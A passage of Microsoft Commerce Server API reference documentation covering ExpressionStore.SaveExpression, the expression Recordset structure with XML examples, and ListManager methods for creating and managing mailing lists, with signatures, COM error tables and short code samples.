Use this method to save a new or modified expression to the expression store. For a new expression, the SaveExpression method automatically generates a unique expression ID and stores it with the expression.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
Imports ADODB26Lib     ‘ for _Recordset
…
Public Sub SaveExpression(
 pRSExpr As _Recordset
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset SaveExpression();

Parameters

[Visual Basic .NET]
pRSExpr
The _Recordset interface of a Recordset object that contains the expression.

Return Values

[C#] This method returns an ADO _Recordset interface to a hierarchical Recordset object that contains the expression.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8110001F | Invalid connection
&H81100004 | Invalid or missing expression body
&H8110000A | Invalid expression category specified
&H81100003 | Invalid expression name
&H81100006 | A cycle was detected in the expression dependencies of this expression
&H81100009 | Duplicate expression dependency
&H81100007 | Duplicate expression name
&H81100008 | Duplicate profile dependency
&H8110000B | One or more of the expression dependencies refers to an expression ID that does not exist
&H81100005 | The new name exceeds the maximum size of 30 characters
&H8110000D | No connection string specified
&H81100002 | Expression must have at least one profile dependency to be saved
[C#]

The following table shows the custom COM errors that COMException can wrap.

Value | Description
0x8110001F | Invalid connection
0x81100004 | Invalid or missing expression body
0x8110000A | Invalid expression category specified
0x81100003 | Invalid expression name
0x81100006 | A cycle was detected in the expression dependencies of this expression
0x81100009 | Duplicate expression dependency
0x81100007 | Duplicate expression name
0x81100008 | Duplicate profile dependency
0x8110000B | One or more of the expression dependencies refers to an expression ID that does not exist
0x81100005 | The new name exceeds the maximum size of 30 characters
0x8110000D | No connection string specified
0x81100002 | Expression must have at least one profile dependency to be saved

Remarks

If the expression being saved is not currently in the expression store, the SaveExpression method generates a unique identifier and populates the ExprID field of the Recordset object. The identifier is a positive integer. For more information about the format and fields of the Recordset object, see Expression Recordset.

The ExpressionStore object performs rudimentary checks for expression dependencies when an expression is saved or deleted. This includes any direct references, a test for cyclic referencing, and any references to nonexistent expressions.

Call the Connect method before calling the SaveExpression method.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib)

See Also

ExpressionStore Class

ExpressionStore.Connect

ExpressionStore.GetExpression

ExpressionStore.NewExpression


Expression Recordset (PIA)

An expression is a statement constructed with Boolean and relational operators that is evaluated against the data in a given set of profiles. The part of an expression that is evaluated is stored as an Extended Markup Language (XML) string in the ExprBody field of a Recordset object. Recordset objects are contained in a database known as the Expression Store.

This section contains:

  • Expression Recordset Object. Describes the _Recordset interface of a Recordset object that represents the expression.
  • Expression Recordset Example. Shows an example of an expression Recordset object.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib)

See Also

Expression XML Structures

ExpressionEval Object

ExpressionStore Class


Expression Recordset Object (PIA)

[Visual Basic .NET]

The ExpressionStore object represents expressions and their dependencies using a _Recordset interface of a Recordset object. The structure of this Recordset object consists of a parent Recordset object with pointers to two child Recordset objects.

An empty Recordset object with the prescribed structure is created by calling the NewExpression method of the ExpressionStore object. Once the fields of the Recordset object have been filled in, the SaveExpression method is used to commit the expression to the expression store. In a similar fashion, those methods of the ExpressionStore object that return expressions from the store, such as GetExpression and GetAllExprs, return the expression data in this hierarchical Recordset object structure.

Parent Recordset (PIA)

The fields in the parent Recordset object are shown in the following table.

Field | Type | Requirement | Description
ExprID | Integer | Generated by the SaveExpression method of the ExpressionStore object when a new expression is saved. | Unique identifier for the expression. This is a positive integer.
ExprName | String | Required field supplied by the user. | Unique name of the expression. The following characters are not allowed: ', ", &, \, /, <, and >.
Category | String | Optional field supplied by the user. | Category of the expression. May be used as a filter. The following characters are not allowed: ', ", &, \, /, <, and >.
ExprDesc | String | Optional field supplied by the user. | Description of the expression. Maximum length is 200 characters. The following characters are not allowed: &, <, >
ExprBody | String | Required field supplied by the user. | Extensible Markup Language (XML) body of the recordset. The evaluable expression. Maximum length is 3400 characters. For more information, see Expression XML Structures.
DateCreated | Date | Generated by the system. | Date the recordset was created.
DateModified | Date | Generated by the system. | Date the recordset was last modified.
rsExprDeps | Recordset pointer | Generated by the system. | A pointer to the child Recordset object listing the expression dependencies of this expression.
rsProfDeps | Recordset pointer | Generated by the system. | A pointer to the child Recordset object listing the profile type dependencies of this expression.

Expression Dependencies Child Recordset

This Recordset object contains a record for each expression that the parent expression is immediately dependent on. The information does not include nested dependencies. If the parent expression does not depend on any expressions, this recordset may be empty.

The fields in the expression dependencies child Recordset object are shown in the following table.

Field | Type | Description
ExprID | Integer | Identifier of the parent expression.
ExprDep | Integer | Identifier of the dependent expression.

Profile Dependencies Child Recordset

This Recordset object contains a record for each profile this expression is dependent on. The user must populate at least one record when creating a new expression.

The fields in the profile dependencies Recordset object are shown in the following table.

Field | Type | Description
ExprID | Integer | Identifier of the parent expression.
ProfDep | String | Name of the dependent profile.

Remarks (PIA)

The ExprID fields of the two child Recordset objects contain the same value as the ExprID field of the parent Recordset object that is generated when a new expression is saved.

[C#]

The ExpressionStore object represents expressions and their dependencies using an ADO-shaped hierarchical Recordset object. The structure of this Recordset object consists of a parent Recordset object with pointers to two child Recordset objects.

An empty Recordset object with the prescribed structure is created by calling the NewExpression method of the ExpressionStore object. Once the fields of the Recordset object have been filled in, the SaveExpression method is used to commit the expression to the expression store. In a similar fashion, those methods of the ExpressionStore object that return expressions from the store, such as GetExpression and GetAllExprs, return the expression data in this hierarchical Recordset object structure.

Note that in general the ExpressionStore methods actually return the _Recordset interface to the actual Recordset. The Recordset does not implement all the methods that Recordset does, but it implements many. You can use the Recordset directly, or you can cast it to a true Recordset to have all methods available.

ExpressionStore myES = new EspressionStore();

_Recordset myRSI = myES.Query(“socks”, “clothes”, Type.Missing);

//Use the interface for operations …

myRSI.MoveFirst();

//… or cast the interface to a real Recordset and use it

RecordSet myCastRS = (Recordset)myRSI;

myCastRS.MoveNext();


Expression Recordset Example (PIA)

[Visual Basic .NET]

The following examples show two Recordset objects containing expressions. The first is for an expression (ID = 7) dependent on one profile (User) and no expressions. The second is for an expression (ID = 24) dependent on one other expression (ID=7) and two hypothetical profiles (Product and User). The DateCreated, DateModified, rsExprDeps, and rsProfDeps fields are not shown.

Parent Recordset for Expression7

ExprID | ExprName | Category | ExprDesc | ExprBody
7 | “Expression7” | “Hair” | “Brown” | String7

Expression Dependencies Child Recordset for Expression7

ExprID | ExprDep
- | -

Profile Dependencies Child Recordset for Expression7

ExprID | ProfDep
7 | “User”
String7 = "<CLAUSE OPER="is-true">
             <PROPERTY ID="User.GeneralInfo.hair" TYPE="string"/>
             <IMMED-VAL TYPE="string">Brown</IMMED-VAL>
           </CLAUSE>"

Parent Recordset for Expression24

ExprID | ExprName | Category | ExprDesc | ExprBody
24 | “Expression24” | “Octogenarians” | brown_haired_users_over_80 | String24

Expression Dependencies Child Recordset for Expression24

ExprID | ExprDep
24 | 7

Profile Dependencies Child Recordset for Expression24

ExprID | ProfDep
24 | “Product”
24 | “User”
String24 = "<TERM TYPE="and">
              <CLAUSE OPER="is-true">
                <EXPR-REF ID=7/>
              </CLAUSE>
              <CLAUSE OPER="equal">
                <PROPERTY ID="Product.name" TYPE="string"/>
                <IMMED-VAL TYPE="string">hair dye</IMMED-VAL>
              </CLAUSE>
              <CLAUSE OPER="at-least">
                <PROPERTY ID="User.GeneralInfo.age" TYPE="number"/>
                <IMMED-VAL TYPE="number">80</IMMED-VAL>
              </CLAUSE>
            </TERM>"
[C#]

The following examples shows two Recordset objects containing expressions. The first is for an expression (ID = 7) dependent on one profile (User) and no expressions. The second is for an expression (ID = 24) dependent on one other expression (ID=7) and two hypothetical profiles (Product and User). The DateCreated, DateModified, rsExprDeps, and rsProfDeps fields are not shown.

Parent Recordset for Expression7

ExprID | ExprName | Category | ExprDesc | ExprBody
7 | Expression7 | Hair | Brown | String7

Expression Dependencies Child Recordset for Expression7

ExprID | ExprDep
- | -

Profile Dependencies Child Recordset for Expression7

ExprID | ProfDep
7 | User
String7 = "<CLAUSE OPER="is-true">
             <PROPERTY ID="User.GeneralInfo.hair" TYPE="string"/>
             <IMMED-VAL TYPE="string">Brown</IMMED-VAL>
           </CLAUSE>"

Parent Recordset for Expression24

ExprID | ExprName | Category | ExprDesc | ExprBody
24 | Expression24 | Octogenarians | Brown_haired_users_over_80 | String24

Expression Dependencies Child Recordset for Expression24

ExprID | ExprDep
24 | 7

Profile Dependencies Child Recordset for Expression24

ExprID | ProfDep
24 | Product
24 | User
String24 = "<TERM TYPE="and">
              <CLAUSE OPER="is-true">
                <EXPR-REF ID=7/>
              </CLAUSE>
              <CLAUSE OPER="equal">
                <PROPERTY ID="Product.name" TYPE="string"/>
                <IMMED-VAL TYPE="string">hair dye</IMMED-VAL>
              </CLAUSE>
              <CLAUSE OPER="at-least">
                <PROPERTY ID="User.GeneralInfo.age" TYPE="number"/>
                <IMMED-VAL TYPE="number">80</IMMED-VAL>
              </CLAUSE>
            </TERM>"


ListManager Class (PIA)

Use this object to create and manage lists of users for the Profiling System, lists of e-mail addresses for Direct Mailer, and lists created from files and SQL queries.

Methods

Method | Description
AddUserToMailingList | Adds a user to a mailing list.
CancelOperation | Cancels a currently running asynchronous operation.
Copy | Makes a copy of a list.
CreateEmpty | Creates an empty list for subsequent operations.
CreateFromFile | Creates a list from a file.
CreateFromSql | Creates a list from an SQL query.
Delete | Deletes a list.
ExportToFile | Exports a list to a file.
ExportToSql | Exports a list to a database table.
ExtractMailingList | Creates a new mailing list from a generic list that contains an rcp_email column.
GetListFlags | Retrieves the Flags bitmask for a list.
GetListId | Retrieves the list ID.
GetListName | Retrieves the list name.
GetListProperty | Retrieves a list property.
GetLists | Enumerates all known lists at the time of the call.
GetListUserFlags | Retrieves the UserFlags bitmask for a list.
GetOperationInfo | Retrieves information on a list operation.
GetOperations | Enumerates all operations running at the time of the call.
Initialize | Initializes the ListManager object.
RemoveUserFromMailingList | Removes a user from a mailing list.
Rename | Renames a list.
SetDesc | Assigns a description to a list.
SetListProperty | Sets a list property.
Subtract | Subtracts one list from another list, and stores the results in a third list.
Union | Produces a union of two lists (combines the lists and eliminates duplicates), and stores the results in a third list.
WaitOnOperation | Waits for an operation to complete or a timeout to occur, then returns.

Properties

Property | Type | Description
ConnectionString | String | Stores the connection string to the database used by the ListManager object to store lists. This value is set when passing the ConnectionString parameter to the Initialize method. This property is read-only.
Status | Integer | Stores the current status of the ListManager object. This property is read-only.

Remarks

ListManager has functionality to manipulate two types of lists, Generic and Mailing. Each type may also have User and Mailable attributes. Lists are designated as static or dynamic depending on when the data is imported.

A Generic list may have any set of column names and types — it essentially maps to an SQL table.

A Mailing list is a list for use with Direct Mailer. It contains a list of recipients to receive mail or a list of recipients who are opted out of a mailing. Each mailing list has its own table.

The following table shows the columns of a Mailing list table.

Field | Type | Description
rcp_email | NVARCHAR [256] | E-mail address of the recipient.
rcp_guid | NVARCHAR [64] | (Optional) User ID. Usually a GUID which is a key to the profile of the user.
rcp_fmt | smallint | (Optional) Message format flag. Legal values are: 1 - TEXT 2 - MIME 3 - MHTML
rcp_locale | NVARCHAR[20] | (Optional) Preferred character set of the recipient. See DirectMailer specifications for details.
rcp_url | NVARCHAR[2084] | (Optional) URL used for retrieving personalized content for the user.

A Mailable list is any list with an rcp_email column.

A User list is any list with an rcp_guid column.

In a static list, records are imported at the time the list is created.

A dynamic list imports records on demand when referenced by another operation.

ListManager can import lists from the following sources:

  • An SQL query run against an ODBC data source
  • A text file in comma-separated values (CSV) format

ListManager can export lists to the following destinations:

  • A SQL Server 2000 table in an external database
  • A text file (CSV format)

ListManager allows time-consuming operations to run in an asynchronous manner wherein the operation returns immediately after the process has started and assigns an operation ID that can be used to access the operation.

ListManager stores information about lists and operations in the lm_master and lm_master_operations tables, respectively.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)


ListManager Methods (PIA)

Methods

Method | Description
AddUserToMailingList | Adds a user to a mailing list.
CancelOperation | Cancels a currently running asynchronous operation.
Copy | Makes a copy of a list.
CreateEmpty | Creates an empty list for subsequent operations.
CreateFromFile | Creates a list from a file.
CreateFromSql | Creates a list from an SQL query.
Delete | Deletes a list.
ExportToFile | Exports a list to a file.
ExportToSql | Exports a list to a database table.
ExtractMailingList | Creates a new mailing list from a generic list that contains an rcp_email column.
GetListFlags | Retrieves the Flags bitmask for a list.
GetListId | Retrieves the list ID.
GetListName | Retrieves the list name.
GetListProperty | Retrieves a list property.
GetLists | Enumerates all known lists at the time of the call.
GetListUserFlags | Retrieves the UserFlags bitmask for a list.
GetOperationInfo | Retrieves information on a list operation.
GetOperations | Enumerates all operations running at the time of the call.
Initialize | Initializes the ListManager object.
RemoveUserFromMailingList | Removes a user from a mailing list.
Rename | Renames a list.
SetDesc | Assigns a description to a list.
SetListProperty | Sets a list property.
Subtract | Subtracts one list from another list, and stores the results in a third list.
Union | Produces a union of two lists (combines the lists and eliminates duplicates), and stores the results in a third list.
WaitOnOperation | Waits for an operation to complete or a timeout to occur, then returns.


ListManager.AddUserToMailingList Method (PIA)

Use this method to add a user record to a Mailing list.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub AddUserToMailingList(
  listID As Object,
  UserEmail As Object,
  Optional UserGUID As Object,
  Optional UserFmt As Object,
  Optional UserLocale As Object,
  Optional UserUrl As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void AddUserToMailingList(
  object listID,
  object UserEmail,
  object UserGUID,
  object UserFmt,
  object UserLocale,
  object UserUrl
);

Parameters

[Visual Basic .NET]
listID
An Object that contains ID or name of the list.
UserEmail
An Object that contains the e-mail address of the user.
UserGUID
An optional Object that contains the ID of the user (usually a GUID).
UserFmt
An optional Object that contains the message format flag. See the Remarks section for more information.
UserLocale
An optional Object that contains the preferred character set of the user.
UserUrl
An optional Object that contains a URL used for retrieving personalized content for the user.
[C#]
listID
An object that contains the ID or name of the list.
UserEmail
An object that contains the e-mail address of the user.
UserGUID
An object that contains the ID of the user (usually a GUID).
UserFmt
An object that contains the message format flag. See the Remarks section for more information.
UserLocale
An object that contains the preferred character set of the user.
UserUrl
An object that contains a URL used for retrieving personalized content for the user.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C400008 | The specified list is currently busy with another operation.
&H8C40001D | The specified list is in a FAILED state and may not be used for the operation.
&H8C400006 | The specified list does not exist.
&H8C40000D | The list is designated as a Mailable list but does not contain an rcp_email column.
&H8C400019 | The operation requires a static list and the specified list is dynamic.
&H8C400018 | The operation requires a Mailing list and the specified list is not a mailing list.
&H8C400003 | Error while executing SQL/ADO operation.
&H8C40000E | The list is designated as a User list but does not contain an rcp_guid column.
&H80040007 | The ListManager object has not been properly initialized.

Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C400008 | The specified list is currently busy with another operation.
0x8C40001D | The specified list is in a FAILED state and may not be used for the operation.
0x8C400006 | The specified list does not exist.
0x8C40000D | The list is designated as a Mailable list but does not contain an rcp_email column.
0x8C400019 | The operation requires a static list and the specified list is dynamic.
0x8C400018 | The operation requires a Mailing list and the specified list is not a mailing list.
0x8C400003 | Error while executing SQL/ADO operation.
0x8C40000E | The list is designated as a User list but does not contain an rcp_guid column.
0x80040007 | The ListManager object has not been properly initialized.

Remarks

The UserFmt parameter specifies the format of a message used by Direct Mailer. The possible values are: text (1), MIME (2), and MHTML (3).

To specify that one or more of the fields should be inserted as Null, pass DBNull.Value as the parameter(s).

[Visual Basic .NET]

Example

oListManager.AddUserToMailingList ("{2B544800-4169-4C49-8713-1B794078B4C9}", _
 "JaneUser@somewhere.com", "{454799A2-312B-4F5F-90A0-F514FBA0EC5A}", _
 2, 1033, DBNull.Value)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


ListManager.CancelOperation Method (PIA)

Use this method to cancel the specified ListManager operation.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub CancelOperation(
 varOpID As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void CancelOperation(
 object varOpID
);

Parameters

[Visual Basic .NET]
varOpID
An Object that specifies the Operation ID of the operation to be cancelled.
[C#]
varOpID
An object that specifies the Operation ID of the operation to be cancelled.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C400004 | The operation ID does not represent a currently running operation.
&H8C400003 | Error while executing SQL/ADO operation.
&H80040007 | The ListManager object has not been properly initialized.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C400004 | The operation ID does not represent a currently running operation.
0x8C400003 | Error while executing SQL/ADO operation.
0x80040007 | The ListManager object has not been properly initialized.

Remarks

The Operation ID passed to this method in the varOpID parameter can be obtained from any of the following calls when they are executed asynchronously:

  • Copy
  • CreateFromFile
  • CreateFromSql
  • ExportToFile
  • ExportToSql
  • Subtract
  • Union

In addition, the Operation IDs of all known operations can be retrieved using the GetOperations method.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


ListManager.Copy Method (PIA)

Use this method to copy an existing list over another existing list.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub Copy(
 srcList As Object,
 resList As Object,
 bAsync As Integer,
 Optional ByRef pvarOpID As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void Copy(
 object srcList,
 object resList,
 int bAsync,
 ref object pvarOpID
);

Parameters

[Visual Basic .NET]
srcList
An Object that contains the ID or name of the source list.
resList
An Object that contains the ID or name of the result list.
bAsync
An Integer that specifies whether the copy operation is performed synchronously or asynchronously. A value of 1 indicates asynchronous processing.
pvarOpID
An optional Object used to return an Operation ID.
[C#]
srcList
An object that contains the ID or name of the source list.
resList
An object that contains the ID or name of the result list.
bAsync
An int that specifies whether the copy operation is performed synchronously or asynchronously. A value of 1 indicates asynchronous processing.
pvarOpID
A reference to an object used to return an Operation ID.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C40001C | Cannot copy a list over itself.
&H8C400008 | The specified list is currently busy with another operation.
&H8C40001D | The specified list is in a FAILED state and may not be used for the operation.
&H8C400006 | The specified list does not exist.
&H8C40000B | The operation was canceled.
&H8C400003 | Error while executing SQL/ADO operation.
&H80040007 | The ListManager object has not been properly initialized.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C40001C | Cannot copy a list over itself.
0x8C400008 | The specified list is currently busy with another operation.
0x8C40001D | The specified list is in a FAILED state and may not be used for the operation.
0x8C400006 | The specified list does not exist.
0x8C40000B | The operation was canceled.
0x8C400003 | Error while executing SQL/ADO operation.
0x80040007 | The ListManager object has not been properly initialized.

Remarks

The result list must exist prior to calling the method; however, any data in the list will be overwritten.

The flags attribute of the destination list is replaced with the flags attribute of the source list. The UserFlags attribute is not changed.

[Visual Basic .NET]

Example

' pvarOdID is an Object
oListManager.Copy ("{2B544800-4169-4C49-8713-1B794078B4C9}", _
 "{454799A2-312B-4F5F-90A0-F514FBA0EC5A}", 1, pvarOpID)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


ListManager.CreateEmpty Method (PIA)

Use this method to create an empty list for subsequent operations.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Function CreateEmpty(
 listName As String,
 listDesc As String,
 flags As Integer,
 userFlags As Integer
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public object CreateEmpty(
 string listName,
 string listDesc,
 int flags,
 int userFlags
);

Parameters

[Visual Basic .NET]
listName
A String that provides the name for the new list.
listDesc
A String that provides a description for the new list.
flags
An Integer that specifies the bitmask flags that control the type of list created.
userFlags
An Integer that contains application-specific user flags. Not used by the ListManager object.
[C#]
listName
A string that provides the name for the new list.
listDesc
A string that provides a description for the new list.
flags
An int that specifies the bitmask flags that control the type of list created.
userFlags
An int that contains application-specific user flags. Not used by the ListManager object.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains the ID of the new list.

[C#] This method returns an object used to return the ID of the new list.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C400005 | Invalid flags value.
&H8C400007 | The specified list has already been created.
&H8C400003 | Error while executing SQL/ADO operation.
&H80040007 | The ListManager object has not been properly initialized.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C400005 | Invalid flags value.
0x8C400007 | The specified list has already been created.
0x8C400003 | Error while executing SQL/ADO operation.
0x80040007 | The ListManager object has not been properly initialized.

Remarks

This method is useful for creating an empty list to use as the result list for a copy, subtract, or union operation.

For a list of possible values for the flags parameter, see the GetListFlags method.

[Visual Basic .NET]

Example

' oListID is an Object
oListID = oListManager.CreateEmpty("TequillaBuyers1", _
 "Tequilla buyers in January", 20, 0)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


ListManager.CreateFromDWCalc Method (PIA)

Use this method to create a list from an Analysis report.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Function CreateFromDWCalc(
 listName As String,
 listDesc As String,
 lFlags As Integer,
 userFlags As Integer,
 DWConnStr As String,
 OLAPConnStr As String,
 ReportStatusId As String,
 bAsync As Integer,
 Optional ByRef pvarOpID As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public object CreateFromDWCalc(
 string listName,
 string listDesc,
 int lFlags,
 int userFlags,
 string DWConnStr,
 string OLAPConnStr,
 string ReportStatusId,
 int bAsync,
 ref object pvarOpID
);

Parameters

[Visual Basic .NET]
listName
A String that provides the name for the new list.
listDesc
A String that provides a description for the new list.
lFlags
An Integer that specifies the bitmask flags that control the type of list created.
userFlags
An Integer that contains application-specific user flags. Not used by the ListManager object.
DWConnStr
A String that contains the connection string for the Data Warehouse.
OLAPConnStr
A String that contains the OLAP connection string.
ReportStatusId
A String that contains the ReportStatusID of the report to be imported.
bAsync
An Integer that specifies whether the creation operation is performed synchronously or asynchronously. A value of 1 indicates asynchronous processing.
pvarOpID
An optional Object used to return an Operation ID.
[C#]
listName
A string that provides the name for the new list.
listDesc
A string that provides a description for the new list.
lFlags
An int that specifies the bitmask flags that control the type of list created.
userFlags
An int that contains application-specific user flags. Not used by the ListManager object.
DWConnStr
A string that contains the connection string for the Data Warehouse.
OLAPConnStr
A string that contains the OLAP connection string.
ReportStatusId
A string that contains the ReportStatusID of the report to be imported.
bAsync
An int that specifies whether the creation operation is performed synchronously or asynchronously. A value of 1 indicates asynchronous processing.
pvarOpID
A reference to an object used to return an Operation ID.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains the ID of the new list.

[C#] This method returns a reference to an object used to return the ID of the new list.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C400001 | Failed to establish database connection.
&H8C400017 | Unable to create the object.
&H8C400005 | Invalid flags value.
&H8C400007 | The specified list has already been created.
&H8C40000D | The list is designated as a Mailable list but does not contain an rcp_email column.
&H8C40000B | The operation was canceled.
&H8C40001A | The report rendering object failed during Analysis report export to List Manager. See the Application event log message logged by that object describing the problem.
&H8C400003 | Error while executing SQL/ADO operation.
&H8C40000E | The list is designated as a User list but does not contain an rcp_guid column.
&H80040007 | The ListManager object has not been properly initialized.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C400001 | Failed to establish database connection.
0x8C400017 | Unable to create the object.
0x8C400005 | Invalid flags value.
0x8C400007 | The specified list has already been created.
0x8C40000D | The list is designated as a Mailable list but does not contain an rcp_email column.
0x8C40000B | The operation was canceled.
0x8C40001A | The report rendering object failed during Analysis report export to List Manager. See the Application event log message logged by that object describing the problem.
0x8C400003 | Error while executing SQL/ADO operation.
0x8C40000E | The list is designated as a User list but does not contain an rcp_guid column.
0x80040007 | The ListManager object has not been properly initialized.

Remarks

This method calls into the ReportRender object, passing it the DWConnStr, OLAPConnStr, and ReportStatusId parameters along with a connection string to the database used by the ListManager object, and the table name that it should create.

For a list of possible values for the lflags parameter, see the GetListFlags method.

[Visual Basic .NET]

Example

' oListID is an Object
oListID = oListManager.CreateFromDWCalc("TequillaBuyers1", _
 "Tequilla buyers in January", 20, 0, "URL=mscop:" & _
 "//InProcConnect/Server=myserver:Database=dbname:" & _
 "Catalog=DWSchema:  Trusted_Connection=Yes:FastLoad=True", _
 "2B54480041694C4987131B794078B4C9", 0)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


ListManager.CreateFromFile Method (PIA)

Use this method to create a list from a text file.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Function CreateFromFile(
 listName As String,
 listDesc As String,
 lFlags As Integer,
 userFlags As Integer,
 fileName As String,
 errLimit As Integer,
 bAsync As Integer,
 Optional ByRef pvarOpID As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public object CreateFromFile(
 string listName,
 string listDesc,
 int lFlags,
 int userFlags,
 string fileName,
 int errLimit,
 int bAsync,
 ref object pvarOpID
);

Parameters

[Visual Basic .NET]
listName
A String that provides the name for the new list.
listDesc
A String that provides a description for the new list.
lFlags
An Integer that specifies the bitmask flags that control the type of list created.
userFlags
An Integer that contains application-specific user flags. Not used by the ListManager object.
fileName
A String that contains the name of the file from which to create the new list.
errLimit
An Integer that specifies the maximum number of errors allowed before the operation is terminated. To specify no limit, set the errLimit parameter to zero (0).
bAsync
An Integer that specifies whether the creation operation is performed synchronously or asynchronously. A value of 1 indicates asynchronous processing.
pvarOpID
An optional Object used to return an Operation ID.
[C#]
listName
A string that provides the name for the new list.
listDesc
A string that provides a description for the new list.
lFlags
An int that specifies the bitmask flags that control the type of list created.
userFlags
An int that contains application-specific user flags. Not used by the ListManager object.
fileName
A string that contains the name of the file from which to create the new list.
errLimit
An int that specifies the maximum number of errors allowed before the operation is terminated. To specify no limit, set the errLimit parameter to zero (0).
bAsync
An int that specifies whether the creation operation is performed synchronously or asynchronously. A value of 1 indicates asynchronous processing.
pvarOpID
A reference to an object used to return an Operation ID.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains the ID of the new list.

[C#] This method returns a reference to an object used to return the ID of the new list.

[Visual Basic .NET]

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C40000A | The specified file path is not valid.
&H8C400009 | The List Manager service does not have permission to open the specified file. Check the permissions for the List Manager service account against the permissions for the file.
&H8C400015 | The specified file does not exist.
&H8C400016 | The network share does not exist and a full path was not specified for the file.
&H8C400005 | Invalid flags value.
&H8C400007 | The specified list has already been created.
&H8C40001B | All rows in the file contained parse errors. List import failed.
&H8C400014 | Generic lists may not be imported from files.
&H8C40000B | The operation was canceled.
&H8C400003 | Error while executing SQL/ADO operation.
&H80040007 | The ListManager object has not been properly initialized.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C40000A | The specified file path is not valid.
0x8C400009 | The List Manager service does not have permission to open the specified file. Check the permissions for the List Manager service account against the permissions for the file.
0x8C400015 | The specified file does not exist.
0x8C400016 | The network share does not exist and a full path was not specified for the file.
0x8C400005 | Invalid flags value.
0x8C400007 | The specified list has already been created.
0x8C40001B | All rows in the file contained parse errors. List import failed.
0x8C400014 | Generic lists may not be imported from files.
0x8C40000B | The operation was canceled.
0x8C400003 | Error while executing SQL/ADO operation.
0x80040007 | The ListManager object has not been properly initialized.

Remarks

If a list with the same name as the listName parameter already exists, the method fails. Lists imported from text files may not be generic lists; they are always mailing lists.

The user account that the ListManager is configured to run under must have permission to access the file. For example, if the file is on a network share, the service must be running under a domain account or must otherwise have permission to access the share.

If an absolute file path and name is not specified, ListManager will look for the file relative to a root folder named CommerceLists on the local computer running the List Manager service. If the folder does not exist, an error is returned.

ListManager recognizes the following input text file format:

   <Mail-to address>,<User ID>,<Message Format>,<Locale>,
   <Source URL><cr><lf>

Mail-to address is the only required field. The Message Format field should be one of the following: 1 = text, 2 = MIME, or 3 = MHTML. The Message Format, Locale, and Source fields are provided for use with Direct Mailer.

Any of the fields may be enclosed in double quotation marks. This is required if the value in the field contains any comma or double quotation mark characters. Two double quotation marks together within a quoted field can be used to denote a double quotation mark. A trailing comma will produce an error.

